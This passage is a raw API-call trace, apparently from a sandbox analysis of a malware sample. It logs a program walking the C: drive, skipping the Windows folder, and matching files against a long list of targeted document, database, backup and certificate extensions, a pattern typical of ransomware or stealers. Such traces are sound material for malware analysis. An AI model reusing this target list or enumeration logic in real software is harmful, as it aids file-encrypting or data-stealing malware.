lpString2="Windows") returned -1 [0064.355] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3fd0048 [0064.355] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned 1 [0064.355] lstrcmpiW (lpString1="C:\\Windows", lpString2="Cookies") returned -1 [0064.355] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x4085500 [0064.356] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0064.356] lstrcmpiW (lpString1=".3ds", lpString2=".txt") returned -1 [0064.356] lstrcmpiW (lpString1=".3fr", lpString2=".txt") returned -1 [0064.356] lstrcmpiW (lpString1=".3g2", lpString2=".txt") returned -1 [0064.356] lstrcmpiW (lpString1=".3gp", lpString2=".txt") returned -1 [0064.356] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0064.356] lstrcmpiW (lpString1=".accda", lpString2="1].txt") returned -1 [0064.357] lstrcmpiW (lpString1=".accdb", lpString2="1].txt") returned -1 [0064.357] lstrcmpiW (lpString1=".accdc", lpString2="1].txt") returned -1 [0064.357] lstrcmpiW (lpString1=".accde", lpString2="1].txt") returned -1 [0064.357] lstrcmpiW (lpString1=".accdt", lpString2="1].txt") returned -1 [0064.357] lstrcmpiW (lpString1=".accdw", lpString2="1].txt") returned -1 [0064.357] lstrcmpiW (lpString1=".adb", lpString2=".txt") returned -1 [0064.357] lstrcmpiW (lpString1=".adp", lpString2=".txt") returned -1 [0064.357] lstrcmpiW (lpString1=".ai", lpString2="txt") returned -1 [0064.357] lstrcmpiW (lpString1=".ai3", lpString2=".txt") returned -1 [0064.357] lstrcmpiW (lpString1=".ai4", lpString2=".txt") returned -1 [0064.357] lstrcmpiW (lpString1=".ai5", lpString2=".txt") returned -1 [0064.357] lstrcmpiW (lpString1=".ai6", lpString2=".txt") returned -1 [0064.357] lstrcmpiW (lpString1=".ai7", lpString2=".txt") returned -1 [0064.357] lstrcmpiW (lpString1=".ai8", lpString2=".txt") returned -1 [0064.357] lstrcmpiW (lpString1=".anim", lpString2="].txt") returned -1 [0064.357] lstrcmpiW (lpString1=".arw", lpString2=".txt") returned -1 [0064.357] lstrcmpiW (lpString1=".as", lpString2="txt") returned -1 [0064.357] lstrcmpiW (lpString1=".asa", lpString2=".txt") returned -1 [0064.357] lstrcmpiW (lpString1=".asc", lpString2=".txt") returned -1 [0064.358] lstrcmpiW (lpString1=".ascx", lpString2="].txt") returned -1 [0064.358] lstrcmpiW (lpString1=".asm", lpString2=".txt") returned -1 [0064.358] lstrcmpiW (lpString1=".asmx", lpString2="].txt") returned -1 [0064.358] lstrcmpiW (lpString1=".asp", lpString2=".txt") returned -1 [0064.358] lstrcmpiW (lpString1=".aspx", lpString2="].txt") returned -1 [0064.358] lstrcmpiW (lpString1=".asr", lpString2=".txt") returned -1 [0064.358] lstrcmpiW (lpString1=".asx", lpString2=".txt") returned -1 [0064.358] lstrcmpiW (lpString1=".avi", lpString2=".txt") returned -1 [0064.358] lstrcmpiW (lpString1=".avs", lpString2=".txt") returned -1 [0064.358] lstrcmpiW (lpString1=".backup", lpString2="[1].txt") returned -1 [0064.358] lstrcmpiW (lpString1=".bak", lpString2=".txt") returned -1 [0064.358] lstrcmpiW (lpString1=".bay", lpString2=".txt") returned -1 [0064.358] lstrcmpiW (lpString1=".bd", lpString2="txt") returned -1 [0064.358] lstrcmpiW (lpString1=".bin", lpString2=".txt") returned -1 [0064.358] lstrcmpiW (lpString1=".bmp", lpString2=".txt") returned -1 [0064.358] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0064.358] lstrcmpiW (lpString1=".c", lpString2="xt") returned -1 [0064.358] lstrcmpiW (lpString1=".cdr", lpString2=".txt") returned -1 [0064.359] lstrcmpiW (lpString1=".cer", lpString2=".txt") returned -1 [0064.359] lstrcmpiW (lpString1=".cf", lpString2="txt") returned -1 [0064.359] lstrcmpiW (lpString1=".cfc", lpString2=".txt") returned -1 [0064.359] lstrcmpiW (lpString1=".cfm", lpString2=".txt") returned -1 [0064.359] lstrcmpiW (lpString1=".cfml", lpString2="].txt") returned -1 [0064.359] lstrcmpiW (lpString1=".cfu", lpString2=".txt") returned -1 [0064.359] lstrcmpiW (lpString1=".chm", lpString2=".txt") returned -1 [0064.359] lstrcmpiW (lpString1=".cin", lpString2=".txt") returned -1 [0064.359] lstrcmpiW (lpString1=".class", lpString2="1].txt") returned -1 [0064.359] lstrcmpiW (lpString1=".clx", lpString2=".txt") returned -1 [0064.359] lstrcmpiW (lpString1=".config", lpString2="[1].txt") returned -1 [0064.359] lstrcmpiW (lpString1=".cpp", lpString2=".txt") returned -1 [0064.359] lstrcmpiW (lpString1=".cr2", lpString2=".txt") returned -1 [0064.359] lstrcmpiW (lpString1=".crt", lpString2=".txt") returned -1 [0064.359] lstrcmpiW (lpString1=".crw", lpString2=".txt") returned -1 [0064.359] lstrcmpiW (lpString1=".cs", lpString2="txt") returned -1 [0064.359] lstrcmpiW (lpString1=".css", lpString2=".txt") returned -1 [0064.359] lstrcmpiW (lpString1=".csv", lpString2=".txt") returned -1 [0064.360] lstrcmpiW (lpString1=".cub", lpString2=".txt") returned -1 [0064.360] lstrcmpiW (lpString1=".dae", lpString2=".txt") returned -1 [0064.360] lstrcmpiW (lpString1=".dat", lpString2=".txt") returned -1 [0064.360] lstrcmpiW (lpString1=".db", lpString2="txt") returned -1 [0064.360] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0064.360] lstrcmpiW (lpString1=".dbx", lpString2=".txt") returned -1 Thread: id = 22 os_tid = 0xad0 [0042.894] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a406d8 [0042.894] lstrlenW (lpString="C:") returned 2 [0042.894] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x364fd00 | out: lpFindFileData=0x364fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x7b3210 [0042.894] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0042.894] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0042.894] lstrlenW (lpString="$Recycle.Bin") returned 12 [0042.894] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0042.894] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a506e0 [0042.895] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0042.895] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b3250 [0042.895] FindNextFileW (in: hFindFile=0x7b3250, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.895] FindNextFileW (in: hFindFile=0x7b3250, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0042.895] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0042.895] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0042.895] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0042.895] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0042.895] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a606e8 [0042.896] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0042.896] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b4298 [0042.896] FindNextFileW (in: hFindFile=0x7b4298, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.896] FindNextFileW (in: hFindFile=0x7b4298, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0042.896] lstrlenW (lpString="desktop.ini") returned 11 [0042.896] lstrlenW (lpString=".1cd") returned 4 [0042.896] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0042.896] lstrlenW (lpString=".3ds") returned 4 [0042.896] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0042.896] lstrlenW (lpString=".3fr") returned 4 [0042.896] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0042.896] lstrlenW (lpString=".3g2") returned 4 [0042.896] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0042.896] lstrlenW (lpString=".3gp") returned 4 [0042.896] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0042.896] lstrlenW (lpString=".7z") returned 3 [0042.896] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0042.896] lstrlenW (lpString=".accda") returned 6 [0042.896] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0042.896] lstrlenW (lpString=".accdb") returned 6 [0042.896] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0042.896] lstrlenW (lpString=".accdc") returned 6 [0042.896] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0042.896] lstrlenW (lpString=".accde") returned 6 [0042.896] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0042.896] lstrlenW (lpString=".accdt") returned 6 [0042.897] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0042.897] lstrlenW (lpString=".accdw") returned 6 [0042.897] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0042.897] lstrlenW (lpString=".adb") returned 4 [0042.897] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0042.897] lstrlenW (lpString=".adp") returned 4 [0042.897] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0042.897] lstrlenW (lpString=".ai") returned 3 [0042.897] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0042.897] lstrlenW (lpString=".ai3") returned 4 [0042.897] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0042.897] lstrlenW (lpString=".ai4") returned 4 [0042.897] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0042.897] lstrlenW (lpString=".ai5") returned 4 [0042.897] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0042.897] lstrlenW (lpString=".ai6") returned 4 [0042.897] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0042.897] lstrlenW (lpString=".ai7") returned 4 [0042.897] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0042.897] lstrlenW (lpString=".ai8") returned 4 [0042.897] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0042.897] lstrlenW (lpString=".anim") returned 5 [0042.897] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0042.897] lstrlenW (lpString=".arw") returned 4 [0042.897] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0042.897] lstrlenW (lpString=".as") returned 3 [0042.897] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0042.897] lstrlenW (lpString=".asa") returned 4 [0042.897] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0042.897] lstrlenW (lpString=".asc") returned 4 [0042.897] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0042.897] lstrlenW (lpString=".ascx") returned 5 [0042.897] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0042.897] lstrlenW (lpString=".asm") returned 4 [0042.897] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0042.897] lstrlenW (lpString=".asmx") returned 5 [0042.898] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0042.898] lstrlenW (lpString=".asp") returned 4 [0042.898] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0042.898] lstrlenW (lpString=".aspx") returned 5 [0042.898] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0042.898] lstrlenW (lpString=".asr") returned 4 [0042.898] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0042.898] lstrlenW (lpString=".asx") returned 4 [0042.898] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0042.898] lstrlenW (lpString=".avi") returned 4 [0042.898] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0042.898] lstrlenW (lpString=".avs") returned 4 [0042.898] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0042.898] lstrlenW (lpString=".backup") returned 7 [0042.898] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0042.898] lstrlenW (lpString=".bak") returned 4 [0042.898] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0042.898] lstrlenW (lpString=".bay") returned 4 [0042.898] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0042.898] lstrlenW (lpString=".bd") returned 3 [0042.898] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0042.898] lstrlenW (lpString=".bin") returned 4 [0042.898] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0042.898] lstrlenW (lpString=".bmp") returned 4 [0042.898] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0042.898] lstrlenW (lpString=".bz2") returned 4 [0042.898] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0042.898] lstrlenW (lpString=".c") returned 2 [0042.898] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0042.898] lstrlenW (lpString=".cdr") returned 4 [0042.898] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0042.898] lstrlenW (lpString=".cer") returned 4 [0042.898] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0042.898] lstrlenW (lpString=".cf") returned 3 [0042.898] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0042.898] lstrlenW (lpString=".cfc") returned 4 [0042.898] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".cfm") returned 4 [0042.899] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".cfml") returned 5 [0042.899] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0042.899] lstrlenW (lpString=".cfu") returned 4 [0042.899] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".chm") returned 4 [0042.899] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".cin") returned 4 [0042.899] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".class") returned 6 [0042.899] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0042.899] lstrlenW (lpString=".clx") returned 4 [0042.899] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".config") returned 7 [0042.899] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0042.899] lstrlenW (lpString=".cpp") returned 4 [0042.899] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".cr2") returned 4 [0042.899] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".crt") returned 4 [0042.899] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".crw") returned 4 [0042.899] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".cs") returned 3 [0042.899] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0042.899] lstrlenW (lpString=".css") returned 4 [0042.899] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".csv") returned 4 [0042.899] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".cub") returned 4 [0042.899] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".dae") returned 4 [0042.899] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0042.899] lstrlenW (lpString=".dat") returned 4 [0042.900] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0042.900] lstrlenW (lpString=".db") returned 3 [0042.900] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0042.900] lstrlenW (lpString=".dbf") returned 4 [0042.900] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0042.900] lstrlenW (lpString=".dbx") returned 4 [0042.900] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0042.900] lstrlenW (lpString=".dc3") returned 4 [0042.900] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0042.900] lstrlenW (lpString=".dcm") returned 4 [0042.900] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0042.900] lstrlenW (lpString=".dcr") returned 4 [0042.900] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0042.900] lstrlenW (lpString=".der") returned 4 [0042.900] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0042.900] lstrlenW (lpString=".dib") returned 4 [0042.900] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0042.900] lstrlenW (lpString=".dic") returned 4 [0042.900] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0042.900] lstrlenW (lpString=".dif") returned 4 [0042.900] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0042.900] lstrlenW (lpString=".divx") returned 5 [0042.900] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0042.900] lstrlenW (lpString=".djvu") returned 5 [0042.900] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0042.900] lstrlenW (lpString=".dng") returned 4 [0042.900] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0042.900] lstrlenW (lpString=".doc") returned 4 [0042.900] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0042.900] lstrlenW (lpString=".docm") returned 5 [0042.900] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0042.900] lstrlenW (lpString=".docx") returned 5 [0042.900] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0042.900] lstrlenW (lpString=".dot") returned 4 [0042.900] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0042.901] lstrlenW (lpString=".dotm") returned 5 [0042.901] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0042.901] lstrlenW (lpString=".dotx") returned 5 [0042.901] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0042.901] lstrlenW (lpString=".dpx") returned 4 [0042.901] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0042.901] lstrlenW (lpString=".dqy") returned 4 [0042.901] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0042.901] lstrlenW (lpString=".dsn") returned 4 [0042.901] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0042.901] lstrlenW (lpString=".dt") returned 3 [0042.901] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0042.901] lstrlenW (lpString=".dtd") returned 4 [0042.901] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0042.901] lstrlenW (lpString=".dwg") returned 4 [0042.901] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0042.901] lstrlenW (lpString=".dwt") returned 4 [0042.901] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0042.901] lstrlenW (lpString=".dx") returned 3 [0042.901] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0042.901] lstrlenW (lpString=".dxf") returned 4 [0042.901] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0042.901] lstrlenW (lpString=".edml") returned 5 [0042.901] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0042.901] lstrlenW (lpString=".efd") returned 4 [0042.901] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0042.901] lstrlenW (lpString=".elf") returned 4 [0042.902] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".emf") returned 4 [0042.902] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".emz") returned 4 [0042.902] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".epf") returned 4 [0042.902] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".eps") returned 4 [0042.902] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".epsf") returned 5 [0042.902] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0042.902] lstrlenW (lpString=".epsp") returned 5 [0042.902] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0042.902] lstrlenW (lpString=".erf") returned 4 [0042.902] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".exr") returned 4 [0042.902] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".f4v") returned 4 [0042.902] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".fido") returned 5 [0042.902] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0042.902] lstrlenW (lpString=".flm") returned 4 [0042.902] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".flv") returned 4 [0042.902] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".frm") returned 4 [0042.902] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".fxg") returned 4 [0042.902] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".geo") returned 4 [0042.902] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".gif") returned 4 [0042.902] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".grs") returned 4 [0042.902] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0042.902] lstrlenW (lpString=".gz") returned 3 [0042.902] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0042.903] lstrlenW (lpString=".h") returned 2 [0042.903] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0042.903] lstrlenW (lpString=".hdr") returned 4 [0042.903] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0042.903] lstrlenW (lpString=".hpp") returned 4 [0042.903] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0042.903] lstrlenW (lpString=".hta") returned 4 [0042.903] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0042.903] lstrlenW (lpString=".htc") returned 4 [0042.903] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0042.903] lstrlenW (lpString=".htm") returned 4 [0042.903] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0042.903] lstrlenW (lpString=".html") returned 5 [0042.903] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0042.903] lstrlenW (lpString=".icb") returned 4 [0042.903] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0042.903] lstrlenW (lpString=".ics") returned 4 [0042.903] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0042.903] lstrlenW (lpString=".iff") returned 4 [0042.903] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0042.903] lstrlenW (lpString=".inc") returned 4 [0042.903] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0042.903] lstrlenW (lpString=".indd") returned 5 [0042.903] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0042.903] lstrlenW (lpString=".ini") returned 4 [0042.903] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0042.903] FindNextFileW (in: hFindFile=0x7b4298, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0042.903] FindClose (in: hFindFile=0x7b4298 | out: hFindFile=0x7b4298) returned 1 [0042.903] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a606e8 | out: hHeap=0x6c0000) returned 1 [0042.903] FindNextFileW (in: hFindFile=0x7b3250, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0042.903] FindClose (in: hFindFile=0x7b3250 | out: hFindFile=0x7b3250) returned 1 [0042.904] HeapFree (in: 